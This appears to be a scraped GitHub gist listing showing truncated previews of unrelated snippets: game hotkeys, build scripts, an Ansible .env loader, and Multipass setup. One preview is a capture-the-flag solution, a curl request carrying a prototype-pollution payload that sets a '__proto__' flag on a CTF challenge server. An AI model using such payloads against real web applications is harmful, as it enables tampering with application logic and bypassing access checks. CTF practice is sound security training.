Navigating to listings...
Skipping job #1008290115390 ...
Skipping job #1006634612910 ...
Skipping job #1005925012735 ...
Skipping job #1008505155654 ...
Skipping job #1008470614446 ...
Skipping job #1008705290883 ...
Skipping job #1008494737160 ...
Skipping job #1007900113774 ...
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ; Diablo II LoD | |
| ; | |
| ; Instructions: | |
| ; | |
| ; 1) Start the game in windowed mode (eg. "-sndbkg -skiptobnet -w" options in shortcut). | |
| ; | |
| ; 2) Press Ctrl Alt f , Ctrl Alt h to set game to 1600x1200 centered on the desktop. | |
| ; | |
| ; | |
| ; Ctrl Alt f Toggle active window title bar. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env zsh | |
| # SOURCES: | |
| # https://github.com/magical-heyrovsky | |
| # https://github.com/flatpak/flatpak/issues/994#issuecomment-1484158855 | |
| # https://apple.stackexchange.com/questions/296477/my-command-line-says-complete13-command-not-found-compdef | |
| # https://unix.stackexchange.com/questions/353076/how-to-indent-an-heredoc-inside-an-heredoc-the-right-way | |
| # * leading tabs: indent here-document (heredoc) | |
| # * spaces: indent code within heredoc |
Ansible has various ways of looking up data from outside sources, including plain text password files, CSV files and INI files. But it doesn't seem to have a lookup for .env files, as used in Laravel projects, also available for PHP, Ruby, Node.js, Python and others.
One option is to launch Ansible with the Ruby dotenv command line script... But that requires Ruby, which seems like overkill to me.
So here is a simpler solution that I use. It consists of:
- The
.envfile itself - A small shell script that loads the
.envfile into environment variables -ansible-playbook.sh
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # shellcheck disable=SC2046,SC2155,SC2164 | |
| brew install doxygen pkgconfig sdl2 qt5 ffmpeg cmake openssl | |
| brew link --force openssl | |
| pkg-config --modversion openssl | |
| git clone --recursive https://github.com/citra-emu/citra-nightly.git | |
| cd citra-nightly/ | |
| git checkout d380980 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # fmt: off | |
| import asyncio | |
| import atexit | |
| import base64 | |
| import pickle | |
| import subprocess | |
| import sys | |
| import requests |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # invisible-ink | |
| curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo |
Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud
brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo> # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import argparse | |
| import io | |
| import operator | |
| import re | |
| from contextlib import redirect_stderr | |
| from pathlib import Path | |
| """ |